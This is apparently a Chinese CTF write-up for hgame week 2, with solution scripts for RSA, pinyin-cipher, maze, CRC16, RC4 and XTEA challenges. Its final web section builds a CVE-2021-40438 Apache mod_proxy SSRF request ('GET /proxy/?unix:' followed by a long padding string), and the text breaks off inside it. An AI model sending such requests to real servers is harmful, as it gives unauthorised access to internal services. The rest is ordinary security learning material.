【hgame week2】write up

前言

第二周果然麻中麻,密码和xss把我折磨了,这里直接预告下周摆烂。

CRYPTO

RSA Attack

这题的RSA比较简单,n可以直接在线分解,把n分解后直接跑脚本就可以了。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
import libnum

flag = ''
p = 715800347513314032483037
q = 978782023871716954857211
e = 65537
c = 122622425510870177715177368049049966519567512708
n = p*q
phi = (p-1)*(q-1)
d = libnum.invmod(e,phi)
flag = libnum.n2s(pow(c,d,n))
print(flag)

Chinese Character Encryption

这题真的麻中麻,做的时候心态都崩了。根据提示,加密方式只与拼音有关,并且声调单独加密。这里我分析了半天终于分析出来加密逻辑了:

首先将拼音的所有字母对应的数字相加,比如chao就是3+8+1+15=27;接着再看有几个字母,如果是两个就+64,三个+32,四个不变,五个-32,六个-64;再然后看声调,一声+49,二声+50,三声+51,四声+52场,轻声不变。最后得出来的这个值即为字符串的ascii码值。

根据上述逻辑,编写脚本(实力不行只能写出这种烂脚本了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pypinyin import lazy_pinyin,Style
from libnum import n2s,s2n

style = Style.TONE3
a = lazy_pinyin('陉萏俦蘭貑謠祥冄剏髯簧凰蕆秉僦笆鼣雔耿睺渺仦殣櫤鄽偟壮褃劳充迧蝔镁樷萾懴雈踺猳钔緲螩蝒醢徣纒漐',style=style)
print(a)
flag = ''
str = 0
for i in range(0,47):
b = list(a[i])
for j in range(0,10):
c = len(b)
if(j<c-1):
str += s2n(b[j]) - 96
else:
if(b[j]=='1'):
if(j==2):
str += 64
if(j==3):
str += 32
if(j==5):
str -= 32
if(j==6):
str -= 64
str += 49
flag += chr(str)
str=0
break
elif(b[j]=='2'):
if(j==2):
str += 64
if(j==3):
str += 32
if(j==5):
str -= 32
if(j==6):
str -= 64
str += 50
flag += chr(str)
str=0
break
elif(b[j]=='3'):
if(j==2):
str += 64
if(j==3):
str += 32
if(j==5):
str -= 32
if(j==6):
str -= 64
str += 51
flag += chr(str)
str=0
break
elif(b[j]=='4'):
if(j==2):
str += 64
if(j==3):
str += 32
if(j==5):
str -= 32
if(j==6):
str -= 64
str += 52
flag += chr(str)
str=0
break
else:
if(j==2):
str += 64
if(j==3):
str += 32
if(j==5):
str -= 32
if(j==6):
str -= 64
str += s2n(b[j])
flag += chr(str)
str=0
break

print(flag)

得到flag:

RSA Attack 2

RSA多种考法的杂糅,一共三部分,先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import re
from math import ceil
from Crypto.Util.number import getPrime
from libnum import s2n
from secret import flag

flag_parts = list(map(s2n, re.findall(rf".{{,{ceil(len(flag) / 3)}}}", flag)))

print("# task1")
m = flag_parts[0]
e = 65537
p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
n1 = p * q
c1 = pow(m, e, n1)
n2 = r * q
c2 = pow(m, e, n2)
print("e =", e)
print("n1 =", n1)
print("c1 =", c1)
print("n2 =", n2)
print("c2 =", c2)

print("# task2")
m = flag_parts[1]
e = 7
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)
print("e =", e)
print("n =", n)
print("c =", c)

print("# task3")
m = flag_parts[2]
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e1 = getPrime(32)
e2 = getPrime(32)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print("n =", n)
print("e1 =", e1)
print("c1 =", c1)
print("e2 =", e2)
print("c2 =", c2)

首先是第一部分,可以发现n1、n2有共同的质数q,我们可以利用这一点计算出d,编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import libnum
n1 = 14611545605107950827581005165327694782823188603151768169731431418361306231114985037775917461433925308054396970809690804073985835376464629860609710292181368600618626590498491850404503443414241455487304448344892337877422465715709154238653505141605904184985311873763495761345722155289457889686019746663293720106874227323699288277794292208957172446523420596391114891559537811029473150123641624108103676516754449492805126642552751278309634846777636042114135990516245907517377320190091400729277307636724890592155256437996566160995456743018225013851937593886086129131351582958811003596445806061492952513851932238563627194553
n2 = 20937478725109983803079185450449616567464596961348727453817249035110047585580142823551289577145958127121586792878509386085178452171112455890429474457797219202827030884262273061334752493496797935346631509806685589179618367453992749753318273834113016237120686880514110415113673431170488958730203963489455418967544128619234394915820392908422974075932751838012185542968842691824203206517795693893863945100661940988455695923511777306566419373394091907349431686646485516325575494902682337518438042711296437513221448397034813099279203955535025939120139680604495486980765910892438284945450733375156933863150808369796830892363

e1 = 65537

c1 = 965075803554932988664271816439183802328812013694203741320763105376036912584995031647672348468111310423680858101990670067065306237596121664884353679987689532305437801346923070145524106271337770666947677115752724993307387122132705797012726237073550669419110046308257408484535063515678066777681017211510981429273346928022971149411064556225001287399141306136081722471075032423079692908380267160214143720516748000734987068685104675254411687005690312116824966036851568223828884335112144637268090397158532937141122654075952730052331573980701136378212002956719295192733955673315234274064519957670199895100508623561838510479
c2 = 11536506945313747180442473461658912307154460869003392732178457643224057969838224601059836860883718459986003106970375778443725748607085620938787714081321315817144414115589952237492448483438910378865359239575169326116668030463275817609827626048962304593324479546453471881099976644410889657248346038986836461779780183411686260756776711720577053319504691373550107525296560936467435283812493396486678178020292433365898032597027338876045182743492831814175673834198345337514065596396477709839868387265840430322983945906464646824470437783271607499089791869398590557314713094674208261761299894705772513440948139429011425948090


p1 = libnum.gcd(n1,n2)
q1 = n1//p1
phi1 = (p1-1)*(q1-1)
d1 = libnum.invmod(e1,phi1)
flag = libnum.n2s(pow(c1,d1,n1))

print(flag)

得到第一部分flag:

接着第二部分,可以发现e值非常小,因此可以直接爆破出来,懒得写脚本就拿了份网上python2的来用:

1
2
3
4
5
6
7
8
9
10
# -*- coding: cp936 -*-
import gmpy2

e = 7
# 读入 n, 密文
n= 14157878492255346300993349653813018105991884577529909522555551468374307942096214964604172734381913051273745228293930832314483466922529240958994897697475939867025561348042725919663546949015024693952641936481841552751484604123097148071800416608762258562797116583678332832015617217745966495992049762530373531163821979627361200921544223578170718741348242012164115593777700903954409103110092921578821048933346893212805071682235575813724113978341592885957767377587492202740185970828629767501662195356276862585025913615910839679860669917255271734413865211340126544199760628445054131661484184876679626946360753009512634349537
c= 10262871020519116406312674685238364023536657841034751572844570983750295909492149101500869806418603732181350082576447594766587572350246675445508931577670158295558641219582729345581697448231116318080456112516700717984731655900726388185866905989088504004805024490513718243036445638662260558477697146032055765285263446084259814560197549018044099935158351931885157616527235283229066145390964094929007056946332051364474528453970904251050605631514869007890625

result = gmpy2.iroot(c, 7)
if result[1]: print '{:x}'.format(result[0]).decode('hex')

跑出第二部分flag:

接着看第三部分,纯纯的共模加密,同样从网上扒来python2脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: cp936 -*-
import gmpy2

n = 18819509188106230363444813350468162056164434642729404632983082518225388069544777374544142317612858448345344137372222988033366528086236635213756227816610865045924357232188768913642158448603346330462535696121739622702200540344105464126695432011739181531217582949804939555720700457350512898322376591813135311921904580338340203569582681889243452495363849558955947124975293736509426400460083981078846138740050634906824438689712748324336878791622676974341814691041262280604277357889892211717124319329666052810029131172229930723477981468761369516771720250571713027972064974999802168017946274736383148001865929719248159075729
e = [2519901323, 3676335737]
c = [3230779726225544872531441169009307072073754578761888387983403206364548451496736513905460381907928107310030086346589351105809028599650303539607581407627819797944337398601400510560992462455048451326593993595089800150342999021874734748066692962362650540036002073748766509347649818139304363914083879918929873577706323599628031618641793074018304521243460487551364823299685052518852685706687800209505277426869140051056996242882132616256695188870782634310362973153766698286258946896866396670872451803114280846709572779780558482223393759475999103607704510618332253710503857561025613632592682931552228150171423846203875344870, 940818595622279161439836719641707846790294650888799822335007385854166736459283129434769062995122371073636785371800857633841379139761091890426137981113087519934854663776695944489430385663011713917022574342380155718317794204988626116362865144125136624722782309455452257758808172415884403909840651554485364309237853885251876941477098008690389600544398998669635962495989736021020715396415375890720335697504837045188626103142204474942751410819466379437091569610294575687793060945525108986660851277475079994466474859114092643797418927645726430175928247476884879817034346652560116597965191204061051401916282814886688467861]


c1 = c[0]
c2 = c[1]

e1 = e[0]
e2 = e[1]

s = gmpy2.gcdext(e1, e2)

s1 = s[1]
s2 = s[2]


if s1 < 0:
s1 = -s1
c1 = gmpy2.invert(c1, n)

elif s2 < 0:
s2 = -s2
c2 = gmpy2.invert(c2, n)

m = pow(c1, s1, n) * pow(c2, s2, n) % n
print '{:x}'.format(int(m)).decode('hex')

跑出第三部分flag:

最后组合flag:hgame{RsA@hAS!a&VArIETY?of.AttacK^mEThodS^whAT:other!AttACK|METHOdS~do@you_KNOW}

MISC

奇妙小游戏

同样很麻的一题,不过这题脑洞没前面密码那题大,一下午不到还是做出来了。nc连接后是一个迷宫图,还给了一个entry值,通过多次做错分析答案得出解法:

如图所示分列,entry即为起点列,从下往上行进,如果碰到横过来的部分就要通过那个部分前往另一列,然后继续上行,以此规则最后抵达哪一列的最上面答案就是那个数字。

得出解法后一直过关就可以了,不过容器给的时间是真的短:

一张怪怪的名片

社工题,首先给了个二维码,拼接玩发现扫不出来,用qrazybox进行识别:

接着使用其中的关键字homeboyc,谷歌或者必应等搜索,找到博客:

接着翻阅博客,发现友链部分有一个自留地:

点击进去发现3篇博客,一篇是去年8月16日发布的鸿师傅庆祝女友19岁生日,一篇提示有一个弱密码并且含有一个信息,还有一篇博客直指flag:

根据博客内容,需要猜测弱密码并且进行PBKDF2将密码转化为key,猜了半天才猜出来密码是hgame20020816,接着解密就可以了:

你上当了 我的很大

附件给了一个3点多G的压缩包,里面是压缩包套娃,应该套娃出来是四个二维码的,但是出题人失误放重复了,所以里面只有两个不同的二维码:



后面又放了剩下的两个二维码:

这四个二维码依次为Data Matrix、codablock F、Aztec、PDF147码,依次扫码得到四个base64码,四个base64码转换成四张图片,四张图片组合成一个QR码,扫描即可得到flag:




截图的时候要尽量截刚好,否则二维码可能会识别失败。

REVERSE

xD MAZE

直接放伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
signed __int64 __fastcall sub_4015EC(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
int v3; // ebx
__int64 v4; // rdx
unsigned int v5; // eax
__int64 v6; // rsi
__int64 v7; // rdx
__int64 v8; // rax
signed __int64 result; // rax
bool v10; // al
__int64 v11; // rax
__int64 v12; // rax
__int64 v13; // rax
__int64 v14; // rax
__int64 v15; // [rsp+20h] [rbp-30h]
__int64 v16; // [rsp+28h] [rbp-28h]
__int64 v17; // [rsp+30h] [rbp-20h]
__int64 v18; // [rsp+38h] [rbp-18h]
int v19; // [rsp+40h] [rbp-10h]
int i; // [rsp+48h] [rbp-8h]
int v21; // [rsp+4Ch] [rbp-4h]

sub_401980(a1, (__int64 *)a2);
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0;
v21 = 0;
ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_(a1, a2, (__int64)&v15, (__int64)&ZSt3cin);
v3 = sub_401550(a1, a2, v2, &v15);
v5 = sub_401550(a1, a2, v4, "hgame{");
v6 = v5;
if ( v3 != v5 + (unsigned int)sub_401550(a1, v5, v7, "}") + 28 )
{
v8 = ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(a1, v6, "length err", &ZSt4cout);
ZNSolsEPFRSoS_E(a1, v6, ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_, v8);
result = 1LL;
}
else
{
v10 = (unsigned int)sub_40158F(a1, v6, (__int64)"hgame{", (__int64)&v15, 6) || BYTE2(v19) != 125;
if ( v10 )
{
v11 = ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(a1, v6, "Forbidden format", &ZSt4cout);
ZNSolsEPFRSoS_E(a1, v6, ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_, v11);
result = 1LL;
}
else
{
for ( i = 6; i <= 33; ++i )
{
switch ( *((_BYTE *)&v15 + i) )
{
case 0x30:
v21 += 512;
break;
case 0x31:
v21 += 64;
break;
case 0x32:
v21 += 8;
break;
case 0x33:
++v21;
break;
default:
v12 = ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(a1, v6, "Forbidden format", &ZSt4cout);
ZNSolsEPFRSoS_E(a1, v6, ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_, v12);
return 1LL;
}
if ( unk_404020[v21] != 32 || v21 > 4095 )
{
v13 = ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(a1, v6, "Failed", &ZSt4cout);
ZNSolsEPFRSoS_E(a1, v6, ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_, v13);
return 1LL;
}
}
v14 = ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(a1, v6, "Win", &ZSt4cout);
ZNSolsEPFRSoS_E(a1, v6, ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_, v14);
result = 0LL;
}
}
return result;
}

逻辑还是很好理解的,读懂代码后我们发现flag就是由0,1,2,3这四个数字组成的,然后翻汇编我们可以发现后面有一排#号和空格交叉的伪字符串。v15是我们的flag,v21就是后面一排伪字符串的位置。根据空格之间差了几个#,对应着0,1,2,3,具体可以根据上面的伪代码判断。

然后因为我懒,就没写脚本了,直接手算了,得出flag:

upx magic 0

笑死,这题附件给错了,给了个脱壳后的文件,本来是不会脱壳的。同样先看伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
sub_40FAC0((unsigned __int64)"%40s");
if ( sub_4004E0((__int64)&v41, (__int64)&v41) != (signed __int64 (__usercall *)@<rax>(__int64@<rax>, unsigned __int64@<rdi>, __int128@<xmm0>, __m256i@<ymm0>))32 )
{
sub_40F940((unsigned __int64)"length error");
sub_40ED20(0LL);
}
for ( i = 0; i < (unsigned __int64)sub_4004E0((__int64)&v41, (__int64)&v41); ++i )
{
v6 = *((char *)&v41 + i) << 8;
for ( j = 0; j <= 7; ++j )
{
if ( v6 & 0x8000 )
v6 = 2 * v6 ^ 0x1021;
else
v6 *= 2;
}
v40[i] = (unsigned __int16)v6;
}
v8 = 36200;
v9 = 40265;
v10 = 10770;
v11 = 43802;
v12 = 52188;
v13 = 47403;
v14 = 11826;
v15 = 40793;
v16 = 56781;
v17 = 40265;
v18 = 43274;
v19 = 3696;
v20 = 62927;
v21 = 2640;
v22 = 23285;
v23 = 65439;
v24 = 40793;
v25 = 48395;
v26 = 22757;
v27 = 14371;
v28 = 48923;
v29 = 30887;
v30 = 43802;
v31 = 18628;
v32 = 43274;
v33 = 11298;
v34 = 40793;
v35 = 23749;
v36 = 24277;
v37 = 30887;
v38 = 9842;
v39 = 22165;
if ( (unsigned int)sub_400490(v40, &v8, 32LL) )
{
v0 = "Wrong";
sub_4107A0("Wrong");
}
else
{
v0 = "Great,your input is flag";
sub_4107A0("Great,your input is flag");
}

逻辑也不是很难,一个crc16加密逻辑,直接写脚本解出来就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
list = [0x8d68,0x9d49,0x2a12,0xab1a,0xcbdc,0xb92b,0x2e32,0x9f59,0xddcd,0x9d49,0xa90a,0xe70,0xf5cf,0xa50,0x5af5,0xff9f,0x9f59,0xbd0b,0x58e5,0x3823,0xBF1B,0x78a7,0xab1a,0x48c4,0xa90a,0x2c22,0x9f59,0x5cc5,0x5ed5,0x78a7,0x2672,0x5695]
flag = ''
for b in list:
for i in range(0,8):
if(b & 1):
b = (b ^ 0x1021) // 2
b ^= 0x8000
else:
b //= 2
b = b >> 8
flag += chr(b)
print(flag)

得到flag:

fake shell

这题最后才弄完的,逻辑还是比较清楚的,但是这题最坑的点在于执行主函数之前的初始化偷偷跑了个函数,把原来的“happyhg4me!”替换成了“w0wy0ugot1t”,导致一直跑不出来。后来放提示才注意到。

正向逻辑调用了两个函数,关键伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
unsigned int64  sub_1358(int64 a1)
{
char v4; // [rsp+27h] [rbp-119h]
int i; // [rsp+28h] [rbp-118h]
int j; // [rsp+28h] [rbp-118h]
int v7; // [rsp+2Ch] [rbp-114h]
int64 v8[33]; // [rsp+30h] [rbp-110h] BYREF
char a2="happyhg4me!";
int a3=11;
v7 = 0;
memset(a1, 0, 256);
memset(v8, 0, 256);
for ( i = 0; i <= 255; ++i )
{
*(_BYTE *)(i + a1) = i;
*((_BYTE *)v8 + i) = *(_BYTE *)(i % a3 + a2);
}
for ( j = 0; j <= 255; ++j )
{
v7 = (*((char *)v8 + j) + v7 + *(unsigned int8 *)(j + a1)) % 256;
v4 = *(_BYTE *)(j + a1);
*(_BYTE *)(j + a1) = *(_BYTE *)(v7 + a1);
*(_BYTE *)(a1 + v7) = v4;
}
return 0;
}


unsigned int64 sub_1635(int64 a1, int64 a2, unsigned int64 a3)
{
unsigned int64 result; // rax
char v4; // [rsp+23h] [rbp-15h]
int v5; // [rsp+24h] [rbp-14h]
int v6; // [rsp+28h] [rbp-10h]
unsigned int64 i; // [rsp+30h] [rbp-8h]

v5 = 0;
v6 = 0;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + *(unsigned int8 *)(v5 + a1)) % 256;
v4 = *(_BYTE *)(v5 + a1);
*(_BYTE *)(v5 + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(a1 + v6) = v4;
*(_BYTE *)(a2 + i) ^= *(_BYTE *)((unsigned int8)(*(_BYTE *)(v5 + a1) + *(_BYTE *)(v6 + a1)) + a1);
}
return result;
}

最后给出了加密完的数据,记住逆序,写脚本跑flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
a1 = []
a2="w0wy0ugot1t"
v7=0
v8=[]
for i in range(0, 256):
a1.append(i)
v8.append(ord(a2[i%11]))

for j in range(0, 256):
v4 =a1[j]
v7=(v8[j]+v7+v4)%256
a1[j]=a1[v7]
a1[v7]=v4

v5 = 0
v6 = 0
flag=[0xB6,0x94,0xFA,0x8F,0x3D,0x5F,0xB2,0xE0,0xEA,0x0F,0xD2,0x66,0x98,0x6C,0x9d,0xe7,0x1b,0x08,0x40,0x71,0xc5,0xbe,0x6f,0x6d,0x7c,0x7b,0x09,0x8d,0xa8,0xbd,0xf3,0xf6]
s=''
for j in range(0, 32):
v5 = (v5 + 1) % 256
v4=a1[v5]
v6 = (v6 + v4) % 256
a1[v5]=a1[v6]
a1[v6]=v4
t=(a1[v5]+a1[v6])% 256
t1=flag[j]
t1^=a1[t]
s+=chr(t1)
print(s)

得到flag:

creakme2

和creakme相似,都是xtea逻辑,但是这里做了个Windows SEH 异常处理机制,即除零报错。解决方法是判断数据循环中计算后是否为正数,为正数则与0x1234567进行一次异或。

直接改xtea脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdint.h>
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B1, sum=0xc78e4d05; //这里加密逻辑变了初始sam值可以跑正向逻辑得到
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
if((sum >> 31) == 0){
sum ^= 0x1234567;
}
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[ 0]=v0; v[1]=v1;
}
int main()
{
int i;
uint32_t v[8]={0x457E62CF,0x9537896C,0x1F7E7F72,0x0F7A073D8,0x8E996868,0x40AFAF99,0x0F990E34,0x196F4086};
uint32_t const k[4]={1,2,3,4};
unsigned int r=32;
for (i = 0; i < 4;i++){
decipher(r, (v+i*2), k);
printf("解密后的数据:%x %x\n",v[i*2],v[i*2+1]);
}
return 0;
}

十六进制逆向一下跑出来就是flag了:

upx magic 1(赛后)

这里没办法直接upx -d脱壳的原因是改了upx的头尾tag,因此我们要把值给改回来,即改正为55 50 58 21,改正后就可以直接脱壳了。加密逻辑同样是crc16,脚本也和上面一样。

WEB

Apache!

打开网页发现提示www.zip,下载附件后发现四个配置文件,分别为httpd.confhttpd-vhosts.confdocker-compose.ymldefault.conf。通过审计配置文件和题目要求我们打入本地内网,判断考点是利用apache漏洞进行ssrf。

搜索相关漏洞。发现CVE-2021-40438漏洞,我们利用这个漏洞进行ssrf打本地。关于这个漏洞可以参考下面的几篇文章:
Apache httpd Server CVE-2021-40438 漏洞分析
Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸

构造请求头:

1
2
3
4
5
6
7
8
9
10
11
12
GET /proxy/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA